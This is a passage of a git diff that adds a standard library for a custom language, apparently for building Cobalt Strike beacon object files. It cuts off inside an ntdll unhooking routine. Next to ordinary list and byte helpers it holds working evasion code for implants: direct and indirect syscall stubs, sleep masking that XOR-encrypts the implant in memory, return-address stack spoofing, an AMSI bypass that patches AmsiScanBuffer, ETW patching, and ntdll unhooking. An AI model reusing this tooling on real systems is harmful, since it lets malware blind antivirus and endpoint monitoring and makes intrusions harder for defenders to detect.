&& !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_ARM64) +#define _ARM64_ +#endif + +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_M68K) +#define _68K_ +#endif + +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_MPPC) +#define _MPPC_ +#endif + +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_M_IX86) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_IA64) +#if !defined(_IA64_) +#define _IA64_ +#endif /* !_IA64_ */ +#endif + +#ifndef _MAC +#if defined(_68K_) || defined(_MPPC_) +#define _MAC +#endif +#endif + +#if defined (_MSC_VER) +#if ( _MSC_VER >= 800 ) +#ifndef __cplusplus +#pragma warning(disable:4116) /* TYPE_ALIGNMENT generates this - move it */ + /* outside the warning push/pop scope. */ +#endif +#endif +#endif + +#ifndef RC_INVOKED +#if ( _MSC_VER >= 800 ) +#pragma warning(disable:4514) +#ifndef __WINDOWS_DONT_DISABLE_PRAGMA_PACK_WARNING__ +#pragma warning(disable:4103) +#endif +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4001) +#pragma warning(disable:4201) +#pragma warning(disable:4214) +#endif +#include +#include +#endif /* RC_INVOKED */ + +#include +#include +#include +#include +#if !defined(_MAC) || defined(_WIN32NLS) +#include +#endif +#ifndef _MAC +#include +#include +#endif +#if !defined(_MAC) || defined(_WIN32REG) +#include +#endif +#ifndef _MAC +#include +#endif + +#ifndef WIN32_LEAN_AND_MEAN +#include +#include +#include +#include +#ifndef _MAC +#include +#include +#include +#include +#endif +#include +#ifndef _MAC +#include +#include +#endif +#ifndef NOCRYPT +#include +#include +#include +#endif + +#ifndef NOGDI +#ifndef _MAC +#include +#ifdef INC_OLE1 +#include +#else +#include +#endif /* !INC_OLE1 */ +#endif /* !MAC */ +#include +#endif /* !NOGDI */ +#endif /* WIN32_LEAN_AND_MEAN */ + +#include + +#ifdef _MAC +#include +#endif + + +#ifdef INC_OLE2 +#include +#endif /* INC_OLE2 */ + +#ifndef _MAC +#ifndef NOSERVICE +#include +#endif + +#if(WINVER >= 0x0400) +#ifndef NOMCX +#include +#endif /* NOMCX */ + +#ifndef NOIME +#include +#endif +#endif /* WINVER >= 0x0400 */ +#endif + +#ifndef RC_INVOKED +#if ( _MSC_VER >= 800 ) +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning(default:4001) +#pragma warning(default:4201) +#pragma warning(default:4214) +/* Leave 4514 disabled. It's an unneeded warning anyway. */ +#endif +#endif +#endif /* RC_INVOKED */ + +#endif /* RC_INVOKED */ + +#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM) */ +#pragma endregion + +#endif /* _INC_WINDOWS */ + +#endif /* _WINDOWS_ */ + diff --git a/stdlib/bof.etpy b/stdlib/bof.etpy new file mode 100644 index 0000000..d41f94c --- /dev/null +++ b/stdlib/bof.etpy @@ -0,0 +1,132 @@ + +// Constants (CALLBACK_* values for BeaconPrintf / BeaconOutput). +// Match beacon.h so existing BOFs can be ported verbatim. + +static CALLBACK_OUTPUT: int = 0x0; +static CALLBACK_OUTPUT_OEM: int = 0x1e; +static CALLBACK_OUTPUT_UTF8: int = 0x20; +static CALLBACK_ERROR: int = 0x0d; + + +struct datap { + original: char*, + buffer: char*, + length: int, + size: int, +} + + +struct formatp { + original: char*, + buffer: char*, + length: int, + size: int, +} + +// Output - print / emit data back to the operator. + +extern fn BeaconPrintf(kind: int, fmt: str) -> void; +extern fn BeaconOutput(kind: int, data: char*, len: int) -> void; + +// Input parsing - pull args out of the packed buffer Beacon hands go. + +extern fn BeaconDataParse(parser: datap*, buffer: char*, size: int) -> void; +extern fn BeaconDataInt(parser: datap*) -> int; +extern fn BeaconDataShort(parser: datap*) -> int; +extern fn BeaconDataLength(parser: datap*) -> int; +extern fn BeaconDataExtract(parser: datap*, size: int*) -> char*; + +// Format - build up an output buffer in chunks, emit all at once. + +extern fn BeaconFormatAlloc(format: formatp*, maxsz: int) -> void; +extern fn BeaconFormatReset(format: formatp*) -> void; +extern fn BeaconFormatFree(format: formatp*) -> void; +extern fn BeaconFormatAppend(format: formatp*, text: char*, len: int) -> void; +extern fn BeaconFormatPrintf(format: formatp*, fmt: str) -> void; +extern fn BeaconFormatToString(format: formatp*, size: int*) -> char*; +// Real Beacon writes the int big-endian (matches Aggressor's +// bof_pack convention). Our local harness does the same so a BOF +// that round-trips an int through Format/Data agrees on byte order. +extern fn BeaconFormatInt(format: formatp*, value: int) -> void; + +// Token impersonation / context queries. + +extern fn BeaconUseToken(token: void*) -> bool; +extern fn BeaconRevertToken() -> void; +extern fn BeaconIsAdmin() -> bool; + +// Process injection helpers. Beacon owns the target-process state +// so the BOF doesn't have to track sacrificial-process handles. + +extern fn BeaconGetSpawnTo(x86: bool, buffer: char*, length: int) -> void; +extern fn BeaconInjectProcess( + process_handle: void*, + pid: int, + payload: char*, + p_length: int, + p_offset: int, + arg: char*, + a_length: int) -> void; +extern fn BeaconInjectTemporaryProcess( + process_info: void*, + payload: char*, + p_length: int, + p_offset: int, + arg: char*, + a_length: int) -> void; +extern fn BeaconCleanupProcess(process_info: void*) -> void; +extern fn BeaconSpawnTemporaryProcess( + x86: bool, + ignore_token: bool, + si: void*, + process_info: void*) -> bool; + +// Utility. + +extern fn toWideChar(src: char*, dst: u16*, max: int) -> bool; + + +extern fn BeaconAddValue(key: char*, ptr: void*) -> bool; +extern fn BeaconGetValue(key: char*) -> void*; +extern fn BeaconRemoveValue(key: char*) -> bool; + + +struct BEACON_INFO { + // The real struct has ~15 fields. We expose the size by reserving + // a 256-byte block; user code reads specific offsets via casts + // if it needs particular fields until we ship a typed wrapper. + raw: u8[256], +} + +extern fn BeaconInformation(info: BEACON_INFO*) -> bool; + +// Error reporting (Cobalt Strike 4.10+). + +extern fn BeaconIsErrorMessage(type_: int, fmt: str) -> void; + + +extern fn BeaconGetCustomUserData() -> void*; + + +extern fn BeaconDataStoreGetItem(index: int) -> void*; +extern fn BeaconDataStoreProtectItem(index: int) -> void; +extern fn BeaconDataStoreUnprotectItem(index: int) -> void; + + +extern fn BeaconGate(vftable_p: void*, indices_p: void*) -> bool; +extern fn BeaconGateReturnValue() -> char*; +extern fn BeaconDisableBeaconGate() -> bool; +extern fn BeaconEnableBeaconGate() -> bool; + +// Current syscall obfuscation config. Struct shape is loader-private; +// reserve 64 bytes and cast as needed. +struct BEACON_SYSCALL_INFO { + raw: u8[64], +} + +extern fn BeaconGetSyscallInformation(info: BEACON_SYSCALL_INFO*) -> bool; + + +extern fn BeaconAddCommand(command: char*, function: void*) -> bool; +extern fn BeaconRemoveCommand(command: char*) -> bool; +extern fn BeaconGetCommand(command: char*) -> void*; diff --git a/stdlib/bytes.etpy b/stdlib/bytes.etpy new file mode 100644 index 0000000..0ac4d64 --- /dev/null +++ b/stdlib/bytes.etpy @@ -0,0 +1,57 @@ + +struct bytes { + ptr: u8*, + len: u64, +} + +// bytes_new - heap-allocate n zero bytes and return the buffer. +fn bytes_new(n: u64) -> bytes { + var p: u64 = mem.alloc(n); + mem.zero(p, n); + ret bytes { ptr: (u8*)p, len: n }; +} + +// bytes_wrap - wrap an externally-owned pointer + length into a +// bytes value without copying. Useful when reading a buffer that the +// runtime already owns (a Win32 OUT param, shared memory, etc.). +fn bytes_wrap(p: u8*, n: u64) -> bytes { + ret bytes { ptr: p, len: n }; +} + +// bytes_len - element count (in bytes). +fn bytes_len(b: bytes) -> u64 { + ret b.len; +} + +// bytes_get - bounds-checked read of one byte. Raises 0xB0 if +// i >= b.len; caller handles via try { } catch e { ... }. +fn bytes_get(b: bytes, i: u64) -> u8 { + if i >= b.len { raise 0xB0; } + ret b.ptr[i]; +} + +// bytes_set - bounds-checked write of one byte. Same raise +// semantics as bytes_get. +fn bytes_set(b: bytes, i: u64, v: u8) -> int { + if i >= b.len { raise 0xB0; } + b.ptr[i] = v; + ret 0; +} + +// bytes_copy - copy min bytes; returns the +// number of bytes actually copied. No allocation, no resizing - both +// buffers must already exist with the desired sizes. +fn bytes_copy(dst: bytes, src: bytes) -> u64 { + var n: u64 = src.len; + if dst.len < n { n = dst.len; } + mem.copy(dst.ptr, src.ptr, n); + ret n; +} + +// bytes_cmp - 0 iff a and b have identical contents (including +// length). Non-zero otherwise. Constant-ish time within the shorter +// length; mirrors mem.cmp semantics. +fn bytes_cmp(a: bytes, b: bytes) -> int { + if a.len != b.len { ret 1; } + ret mem.cmp(a.ptr, b.ptr, a.len); +} diff --git a/stdlib/list.etpy b/stdlib/list.etpy new file mode 100644 index 0000000..ae5be29 --- /dev/null +++ b/stdlib/list.etpy @@ -0,0 +1,179 @@ + +struct ListNode { + value: u64, + prev: u64, + next: u64, +} + +struct List { + head: u64, + tail: u64, + count: u64, +} + +// Construction + +fn list_new() -> u64 { + var l: u64 = mem.alloc(sizeof(List)); + // mem.alloc returns NULL on OOM. Memory is zero-init from the BSS heap, + // so head/tail/count are already 0 - nothing more to do. + ret l; +} + +// Append / prepend + +fn list_push(lp: u64, value: u64) -> int { + if lp == 0 { ret 0; } + var node: u64 = mem.alloc(sizeof(ListNode)); + if node == 0 { ret 0; } + ((ListNode)node).value = value; + ((ListNode)node).prev = ((List)lp).tail; + // .next is already 0 from gc zero-init. + + var old_tail: u64 = ((List)lp).tail; + if old_tail == 0 { + ((List)lp).head = node; + } else { + ((ListNode)old_tail).next = node; + } + ((List)lp).tail = node; + ((List)lp).count = ((List)lp).count + 1; + ret 1; +} + +fn list_unshift(lp: u64, value: u64) -> int { + if lp == 0 { ret 0; } + var node: u64 = mem.alloc(sizeof(ListNode)); + if node == 0 { ret 0; } + ((ListNode)node).value = value; + ((ListNode)node).next = ((List)lp).head; + // .prev already 0. + + var old_head: u64 = ((List)lp).head; + if old_head == 0 { + ((List)lp).tail = node; + } else { + ((ListNode)old_head).prev = node; + } + ((List)lp).head = node; + ((List)lp).count = ((List)lp).count + 1; + ret 1; +} + +// Remove + +fn list_pop(lp: u64) -> u64 { + if lp == 0 { ret 0; } + var t: u64 = ((List)lp).tail; + if t == 0 { ret 0; } + var v: u64 = ((ListNode)t).value; + var new_tail: u64 = ((ListNode)t).prev; + if new_tail == 0 { + ((List)lp).head = 0; + } else { + ((ListNode)new_tail).next = 0; + } + ((List)lp).tail = new_tail; + ((List)lp).count = ((List)lp).count - 1; + // The node itself stays in the GC heap until the binary exits - bump + // allocator has no free. That's the price of "memory safe without + // careful lifetime tracking." + ret v; +} + +fn list_shift(lp: u64) -> u64 { + if lp == 0 { ret 0; } + var h: u64 = ((List)lp).head; + if h == 0 { ret 0; } + var v: u64 = ((ListNode)h).value; + var new_head: u64 = ((ListNode)h).next; + if new_head == 0 { + ((List)lp).tail = 0; + } else { + ((ListNode)new_head).prev = 0; + } + ((List)lp).head = new_head; + ((List)lp).count = ((List)lp).count - 1; + ret v; +} + +fn list_clear(lp: u64) -> int { + if lp == 0 { ret 0; } + ((List)lp).head = 0; + ((List)lp).tail = 0; + ((List)lp).count = 0; + ret 1; +} + +// Read / write + +fn list_count(lp: u64) -> u64 { + if lp == 0 { ret 0; } + ret ((List)lp).count; +} + +// Walk forward from head, no bounds-check error on out-of-range - returns +// 0 (same sentinel as "value 0"). Use list_count first if your data +// genuinely contains 0 as a valid value. +fn list_get(lp: u64, idx: u64) -> u64 { + if lp == 0 { ret 0; } + var n: u64 = ((List)lp).head; + var i: u64 = 0; + while n != 0 { + if i == idx { ret ((ListNode)n).value; } + n = ((ListNode)n).next; + i = i + 1; + } + ret 0; +} + +fn list_set(lp: u64, idx: u64, value: u64) -> int { + if lp == 0 { ret 0; } + var n: u64 = ((List)lp).head; + var i: u64 = 0; + while n != 0 { + if i == idx { + ((ListNode)n).value = value; + ret 1; + } + n = ((ListNode)n).next; + i = i + 1; + } + ret 0; +} + +fn list_contains(lp: u64, value: u64) -> int { + if lp == 0 { ret 0; } + var n: u64 = ((List)lp).head; + while n != 0 { + if ((ListNode)n).value == value { ret 1; } + n = ((ListNode)n).next; + } + ret 0; +} + + +fn list_head(lp: u64) -> u64 { + if lp == 0 { ret 0; } + ret ((List)lp).head; +} + +fn list_tail(lp: u64) -> u64 { + if lp == 0 { ret 0; } + ret ((List)lp).tail; +} + +fn list_node_value(np: u64) -> u64 { + if np == 0 { ret 0; } + ret ((ListNode)np).value; +} + +fn list_node_next(np: u64) -> u64 { + if np == 0 { ret 0; } + ret ((ListNode)np).next; +} + +fn list_node_prev(np: u64) -> u64 { + if np == 0 { ret 0; } + ret ((ListNode)np).prev; +} diff --git a/stdlib/opsec/bootstrap_noop.etpy b/stdlib/opsec/bootstrap_noop.etpy new file mode 100644 index 0000000..197cee7 --- /dev/null +++ b/stdlib/opsec/bootstrap_noop.etpy @@ -0,0 +1,5 @@ + +[Override(Bootstrap)] +fn opsec_bootstrap_noop() -> int { + ret 0; +} diff --git a/stdlib/opsec/direct_syscall.etpy b/stdlib/opsec/direct_syscall.etpy new file mode 100644 index 0000000..6dcbb36 --- /dev/null +++ b/stdlib/opsec/direct_syscall.etpy @@ -0,0 +1,9 @@ + +[Override(NtCall)] +fn opsec_nt_syscall() -> int { + asm { + mov r10, rcx; + db 0x0F, 0x05; // syscall + ret; + } +} diff --git a/stdlib/opsec/indirect_syscall.etpy b/stdlib/opsec/indirect_syscall.etpy new file mode 100644 index 0000000..d25dccd --- /dev/null +++ b/stdlib/opsec/indirect_syscall.etpy @@ -0,0 +1,50 @@ + +// Cached gadget address, populated lazily on first NtCall. Zero +// means "not yet discovered"; the stub does a slow-path call on the +// first invocation and a single load on every subsequent call. +static __opsec_syscall_gadget: u64 = 0; + +fn __opsec_find_syscall_gadget() -> u64 { + var h_ntdll: void* = Kernel32.GetModuleHandleA("ntdll.dll"); + if h_ntdll == (void*)0 { ret 0; } + var nt_fn: char* = (char*)Kernel32.GetProcAddress( + h_ntdll, "NtAllocateVirtualMemory"); + if nt_fn == (char*)0 { ret 0; } + var i: int = 0; + while i < 32 { + if nt_fn[i] == (u8)0x0F { + if nt_fn[i + 1] == (u8)0x05 { + ret (u64)(nt_fn + i); + } + } + i = i + 1; + } + ret 0; +} + +[Override(NtCall)] +fn opsec_indirect_syscall() -> int { + asm { + mov r10, rcx + // Lazy-init the gadget on first call. r11 is volatile under + // Win64 and not used by the syscall ABI; safe to scratch. + mov r11, %__opsec_syscall_gadget + test r11, r11 + jnz have_gadget + push rax + push r10 + sub rsp, 0x20 + call %__opsec_find_syscall_gadget + add rsp, 0x20 + pop r10 + mov %__opsec_syscall_gadget, rax + mov r11, rax + pop rax + test r11, r11 + jnz have_gadget + db 0x0F, 0x05 // fallback: in-region syscall + ret + have_gadget: + jmp r11 + } +} diff --git a/stdlib/opsec/sleep_ekko.etpy b/stdlib/opsec/sleep_ekko.etpy new file mode 100644 index 0000000..8573e6c --- /dev/null +++ b/stdlib/opsec/sleep_ekko.etpy @@ -0,0 +1,53 @@ + +use opsec_sleep_mask; + +static __opsec_sleep_base: u64 = 0; +static __opsec_sleep_size: u64 = 0; +static __opsec_sleep_key: u8 = (u8)0x5A; +// PAGE_EXECUTE_READ. Override to PAGE_EXECUTE_READWRITE (0x40) +// if your loader put the implant in RWX. +static __opsec_sleep_prot: u32 = (u32)0x20; +// One-shot signalable handle (CreateEventA) that +// WaitForSingleObject blocks on. Lazily created on first hook +// call so we don't pay the cost on builds where Sleep never fires. +static __opsec_sleep_event: u64 = 0; + +[Hook("KERNEL32$Sleep")] +fn __opsec_sleep_hook(ms: u32) -> void { + var sz: u64 = __opsec_sleep_size; + var k: u8 = __opsec_sleep_key; + var base: u64 = __opsec_sleep_base; + var orig_prot: u32 = __opsec_sleep_prot; + + if sz != 0 { + var old: u32 = 0; + // 0x04 = PAGE_READWRITE. Strips execute; allows write + // (needed for the XOR pass). + opsec_set_protect(base, sz, (u32)0x04, &old); + opsec_xor_region(base, sz, k); + } + + var h: u64 = __opsec_sleep_event; + if h == 0 { + // Manual-reset, non-signaled, no name. The handle is + // never set or closed - the kernel reaps it at process + // exit. We just need a wait target. + h = (u64)Kernel32.CreateEventA((void*)0, 1, 0, (char*)0); + __opsec_sleep_event = h; + } + if h != 0 { + Kernel32.WaitForSingleObject((void*)h, ms); + } else { + // CreateEventA failed (extremely rare). Fall back to the + // real Sleep so the implant doesn't bottleneck. + Kernel32.Sleep(ms); + } + + if sz != 0 { + opsec_xor_region(base, sz, k); + // Restore the original page protection. + var dummy: u32 = 0; + opsec_set_protect(base, sz, orig_prot, &dummy); + } + ret; +} diff --git a/stdlib/opsec/sleep_foliage.etpy b/stdlib/opsec/sleep_foliage.etpy new file mode 100644 index 0000000..51de3a9 --- /dev/null +++ b/stdlib/opsec/sleep_foliage.etpy @@ -0,0 +1,33 @@ + +use opsec_sleep_mask; + +static __opsec_sleep_base: u64 = 0; +static __opsec_sleep_size: u64 = 0; +static __opsec_sleep_key: u8 = (u8)0x5A; +static __opsec_sleep_prot: u32 = (u32)0x20; + +[Hook("KERNEL32$Sleep")] +fn __opsec_sleep_hook(ms: u32) -> void { + var sz: u64 = __opsec_sleep_size; + var k: u8 = __opsec_sleep_key; + var base: u64 = __opsec_sleep_base; + var orig_prot: u32 = __opsec_sleep_prot; + + if sz != 0 { + var old: u32 = 0; + opsec_set_protect(base, sz, (u32)0x04, &old); // PAGE_READWRITE + opsec_xor_region(base, sz, k); + } + + var interval: u64 = 0; + var as_i64: i64 = 0 - ((i64)ms * (i64)10000); + interval = (u64)as_i64; + Ntdll.NtDelayExecution(0, (void*)&interval); + + if sz != 0 { + opsec_xor_region(base, sz, k); + var dummy: u32 = 0; + opsec_set_protect(base, sz, orig_prot, &dummy); + } + ret; +} diff --git a/stdlib/opsec/sleep_mask.etpy b/stdlib/opsec/sleep_mask.etpy new file mode 100644 index 0000000..6444697 --- /dev/null +++ b/stdlib/opsec/sleep_mask.etpy @@ -0,0 +1,39 @@ + +fn opsec_xor_region(addr: u64, length: u64, key: u8) -> void { + var p: char* = (char*)addr; + var i: u64 = 0; + while i < length { + p[i] = p[i] ^ key; + i = i + 1; + } + ret; +} + +fn opsec_anchor() -> u64 { + var addr: u64; + asm { + lea rax, opsec_anchor + mov %addr, rax + } + ret addr; +} + +fn opsec_set_protect(addr: u64, length: u64, new_protect: u32, old_out: u32*) -> bool { + var ok: int = Kernel32.VirtualProtect( + (void*)addr, length, new_protect, old_out); + if ok == 0 { ret false; } + ret true; +} + +fn opsec_mask_region(addr: u64, length: u64, key: u8) -> bool { + var old: u32 = 0; + // PAGE_READWRITE = 0x04 - strips execute, allows write. + if opsec_set_protect(addr, length, 0x04, &old) == false { + ret false; + } + opsec_xor_region(addr, length, key); + var dummy: u32 = 0; + // Restore. old was set by the first call. + opsec_set_protect(addr, length, old, &dummy); + ret true; +} diff --git a/stdlib/opsec/sleep_simple.etpy b/stdlib/opsec/sleep_simple.etpy new file mode 100644 index 0000000..14bcfab --- /dev/null +++ b/stdlib/opsec/sleep_simple.etpy @@ -0,0 +1,25 @@ + +use opsec_sleep_mask; + +static __opsec_sleep_base: u64 = 0; +static __opsec_sleep_size: u64 = 0; +static __opsec_sleep_key: u8 = (u8)0x5A; + +[Hook("KERNEL32$Sleep")] +fn __opsec_sleep_hook(ms: u32) -> void { + var sz: u64 = __opsec_sleep_size; + var k: u8 = __opsec_sleep_key; + + if sz != 0 { + opsec_xor_region(__opsec_sleep_base, sz, k); + } + + // Self-recursion bypass: this call goes to the real Sleep, + // not back into us. The hook compiler suppresses re-entry. + Kernel32.Sleep(ms); + + if sz != 0 { + opsec_xor_region(__opsec_sleep_base, sz, k); + } + ret; +} diff --git a/stdlib/opsec/stack_spoof.etpy b/stdlib/opsec/stack_spoof.etpy new file mode 100644 index 0000000..db25278 --- /dev/null +++ b/stdlib/opsec/stack_spoof.etpy @@ -0,0 +1,230 @@ + +// JMP RBX gadget cache. Zero = not yet discovered. +static __opsec_jmp_rbx_gadget: u64 = 0; + +static __opsec_gadget_tried: u64 = 0; + +fn __opsec_find_jmp_rbx() -> u64 { + var h: void* = Kernel32.GetModuleHandleA("ntdll.dll"); + if h == (void*)0 { ret 0; } + var base: char* = (char*)Kernel32.GetProcAddress(h, "NtAllocateVirtualMemory"); + if base == (char*)0 { ret 0; } + var i: int = 0; + while i < 0x40000 { + if base[i] == (u8)0xFF { + if base[i + 1] == (u8)0xE3 { + ret (u64)(base + i); + } + } + i = i + 1; + } + ret 0; +} + +// Public initializer. Operators can call this from a [Override] +// or from the top of go to do the gadget discovery eagerly +// instead of paying for it on the first stackspoof_callN. Idempotent. +fn stackspoof_init() -> u64 { + if __opsec_gadget_tried != 0 { ret __opsec_jmp_rbx_gadget; } + var g: u64 = __opsec_find_jmp_rbx(); + __opsec_jmp_rbx_gadget = g; + __opsec_gadget_tried = 1; + ret g; +} + + +fn stackspoof_call0(fn_ptr: u64) -> u64 { + asm { + // --- Lazy init --- + mov r11, %__opsec_jmp_rbx_gadget + test r11, r11 + jnz have0 + // Mark "tried" before calling discovery so a re-entry + // from the discovery path can't recurse infinitely. + mov rax, 1 + mov %__opsec_gadget_tried, rax + push rcx + sub rsp, 0x20 + call %__opsec_find_jmp_rbx + add rsp, 0x20 + pop rcx + mov %__opsec_jmp_rbx_gadget, rax + mov r11, rax + test r11, r11 + jnz have0 + // Gadget unavailable. Fall back to a plain call so user + // code still works - just without the spoof benefit. + mov rax, %fn_ptr + call rax + ret + have0: + // Save real return. + mov rbx, [rbp + 8] + // Target. + mov rax, %fn_ptr + // Tear down our frame. + mov rsp, rbp + pop rbp + // Overwrite caller's RIP slot with the gadget. + mov [rsp], r11 + // JMP target. Win64 alignment: rsp here = entry rsp + // (8-mod-16, the post-CALL state target expects). + jmp rax + } +} + +fn stackspoof_call1(fn_ptr: u64, a0: u64) -> u64 { + asm { + mov r11, %__opsec_jmp_rbx_gadget + test r11, r11 + jnz have1 + mov rax, 1 + mov %__opsec_gadget_tried, rax + push rcx + push rdx + sub rsp, 0x28 + call %__opsec_find_jmp_rbx + add rsp, 0x28 + pop rdx + pop rcx + mov %__opsec_jmp_rbx_gadget, rax + mov r11, rax + test r11, r11 + jnz have1 + mov rax, %fn_ptr + mov rcx, %a0 + call rax + ret + have1: + mov rbx, [rbp + 8] + mov rax, %fn_ptr + mov rcx, %a0 + mov rsp, rbp + pop rbp + mov [rsp], r11 + jmp rax + } +} + +fn stackspoof_call2(fn_ptr: u64, a0: u64, a1: u64) -> u64 { + asm { + mov r11, %__opsec_jmp_rbx_gadget + test r11, r11 + jnz have2 + mov rax, 1 + mov %__opsec_gadget_tried, rax + push rcx + push rdx + push r8 + push r9 + sub rsp, 0x28 + call %__opsec_find_jmp_rbx + add rsp, 0x28 + pop r9 + pop r8 + pop rdx + pop rcx + mov %__opsec_jmp_rbx_gadget, rax + mov r11, rax + test r11, r11 + jnz have2 + mov rax, %fn_ptr + mov rcx, %a0 + mov rdx, %a1 + call rax + ret + have2: + mov rbx, [rbp + 8] + mov rax, %fn_ptr + mov rcx, %a0 + mov rdx, %a1 + mov rsp, rbp + pop rbp + mov [rsp], r11 + jmp rax + } +} + +fn stackspoof_call3(fn_ptr: u64, a0: u64, a1: u64, a2: u64) -> u64 { + asm { + mov r11, %__opsec_jmp_rbx_gadget + test r11, r11 + jnz have3 + mov rax, 1 + mov %__opsec_gadget_tried, rax + push rcx + push rdx + push r8 + push r9 + sub rsp, 0x28 + call %__opsec_find_jmp_rbx + add rsp, 0x28 + pop r9 + pop r8 + pop rdx + pop rcx + mov %__opsec_jmp_rbx_gadget, rax + mov r11, rax + test r11, r11 + jnz have3 + mov rax, %fn_ptr + mov rcx, %a0 + mov rdx, %a1 + mov r8, %a2 + call rax + ret + have3: + mov rbx, [rbp + 8] + mov rax, %fn_ptr + mov rcx, %a0 + mov rdx, %a1 + mov r8, %a2 + mov rsp, rbp + pop rbp + mov [rsp], r11 + jmp rax + } +} + +fn stackspoof_call4(fn_ptr: u64, a0: u64, a1: u64, a2: u64, a3: u64) -> u64 { + asm { + mov r11, %__opsec_jmp_rbx_gadget + test r11, r11 + jnz have4 + mov rax, 1 + mov %__opsec_gadget_tried, rax + push rcx + push rdx + push r8 + push r9 + sub rsp, 0x28 + call %__opsec_find_jmp_rbx + add rsp, 0x28 + pop r9 + pop r8 + pop rdx + pop rcx + mov %__opsec_jmp_rbx_gadget, rax + mov r11, rax + test r11, r11 + jnz have4 + mov rax, %fn_ptr + mov rcx, %a0 + mov rdx, %a1 + mov r8, %a2 + mov r9, %a3 + call rax + ret + have4: + mov rbx, [rbp + 8] + mov rax, %fn_ptr + mov rcx, %a0 + mov rdx, %a1 + mov r8, %a2 + mov r9, %a3 + mov rsp, rbp + pop rbp + mov [rsp], r11 + jmp rax + } +} diff --git a/stdlib/opsec_amsi.etpy b/stdlib/opsec_amsi.etpy new file mode 100644 index 0000000..0bd0897 --- /dev/null +++ b/stdlib/opsec_amsi.etpy @@ -0,0 +1,42 @@ + +use bof; + +[Stage(Init)] +fn opsec_amsi_patch() -> void { + // Locate amsi.dll. If it is not loaded into the host + // process this is a silent no-op - the AMSI surface is + // not present, so there is nothing to bypass. + var amsi: u64 = (u64)Kernel32.GetModuleHandleA("amsi.dll"); + if amsi == 0 { + ret; + } + + // Resolve AmsiScanBuffer. Same silent-no-op rule if the + // export is missing (very rare; means the loaded amsi.dll + // is from a Windows version that renamed the function). + var addr: u64 = (u64)Kernel32.GetProcAddress((void*)amsi, + "AmsiScanBuffer"); + if addr == 0 { + ret; + } + + var old: u32 = 0; + if Kernel32.VirtualProtect((void*)addr, (u64)6, + PAGE_EXECUTE_READWRITE, &old) == 0 { + ret; + } + + // mov eax, 0x80070057 ; E_INVALIDARG + // ret + var p: char* = (char*)addr; + p[0] = (u8)0xB8; + p[1] = (u8)0x57; + p[2] = (u8)0x00; + p[3] = (u8)0x07; + p[4] = (u8)0x80; + p[5] = (u8)0xC3; + + var dummy: u32 = 0; + Kernel32.VirtualProtect((void*)addr, (u64)6, old, &dummy); + ret; +} diff --git a/stdlib/opsec_etw.etpy b/stdlib/opsec_etw.etpy new file mode 100644 index 0000000..f679e15 --- /dev/null +++ b/stdlib/opsec_etw.etpy @@ -0,0 +1,32 @@ + +use bof; + +fn opsec_etw_patch_one(name: str) -> void { + var ntdll: u64 = (u64)Kernel32.GetModuleHandleA("ntdll.dll"); + if ntdll == 0 { + ret; + } + var addr: u64 = (u64)Kernel32.GetProcAddress((void*)ntdll, name); + if addr == 0 { + ret; + } + var old: u32 = 0; + if Kernel32.VirtualProtect((void*)addr, (u64)1, + PAGE_EXECUTE_READWRITE, &old) == 0 { + ret; + } + // ret (0xC3) - return-immediately patch. + var p: char* = (char*)addr; + p[0] = (u8)0xC3; + var dummy: u32 = 0; + Kernel32.VirtualProtect((void*)addr, (u64)1, old, &dummy); + ret; +} + +[Stage(Init)] +fn opsec_etw_patch() -> void { + opsec_etw_patch_one("EtwEventWrite"); + opsec_etw_patch_one("EtwEventWriteFull"); + opsec_etw_patch_one("EtwEventWriteEx"); + ret; +} diff --git a/stdlib/opsec_unhook.etpy b/stdlib/opsec_unhook.etpy new file mode 100644 index 0000000..2e72d62 --- /dev/null +++ b/stdlib/opsec_unhook.etpy @@ -0,0 +1,116 @@ + +use bof; + + +fn opsec_unhook_section_text(base: u64, va_out: u32*, + sz_out: u32*) -> int { + // e_lfanew at offset 0x3C of the DOS header (LE u32). + var b: char* = (char*)base; + var e_lfanew: u32 = (u32)((u32)b[60] | ((u32)b[61] << 8) + | ((u32)b[62] << 16) | ((u32)b[63] << 24)); + var nt: u64 = base + (u64)e_lfanew; + + // FileHeader is at nt + 4 (after "PE\0\0"). NumberOfSections + // and SizeOfOptionalHeader live at offsets 2 and 16 of the + // file header respectively. + var fh: char* = (char*)(nt + (u64)4); + var nsec: u32 = (u32)((u32)fh[2] | ((u32)fh[3] << 8)); + var opt: u32 = (u32)((u32)fh[16] | ((u32)fh[17] << 8)); + + // Section table immediately follows the optional header. + var sect: u64 = nt + (u64)4 + (u64)20 + (u64)opt; + + var i: u32 = 0; + while i < nsec { + var s: char* = (char*)(sect + (u64)i * (u64)40); + // .text == 2E 74 65 78 74 00 00 00 + if s[0] == (u8)0x2E { if s[1] == (u8)0x74 { + if s[2] == (u8)0x65 { if s[3] == (u8)0x78 { + if s[4] == (u8)0x74 { if s[5] == (u8)0x00 { + var va: u32 = (u32)((u32)s[12] | ((u32)s[13] << 8) + | ((u32)s[14] << 16) | ((u32)s[15] << 24)); + var sz: u32 = (u32)((u32)s[16] | ((u32)s[17] << 8) + | ((u32)s[18] << 16) | ((u32)s[19] << 24)); + *va_out = va; + *sz_out = sz; + ret 1; + } } } } } } + i = i + (u32)1; + } + ret 0; +} + +[Stage(Init)] +fn opsec_unhook_ntdll() -> void { + var loaded: u64 = (u64)Kernel32.GetModuleHandleA("ntdll.dll"); + if loaded == 0 { + ret; + } + + // GENERIC_READ = 0x80000000, FILE_SHARE_READ = 1, + // OPEN_EXISTING = 3, FILE_ATTRIBUTE_NORMAL = 0x80. + var h: u64 = (u64)Kernel32.CreateFileA( + "C:\\Windows\\System32\\ntdll.dll", + (u32)0x80000000, (u32)1, (void*)0, (u32)3, + (u32)0x80, (void*)0); + // INVALID_HANDLE_VALUE = -1 cast to u64. + if h == (u64)0xFFFFFFFFFFFFFFFF { + ret; + } + + // CreateFileMapping with PAGE_READONLY (2). 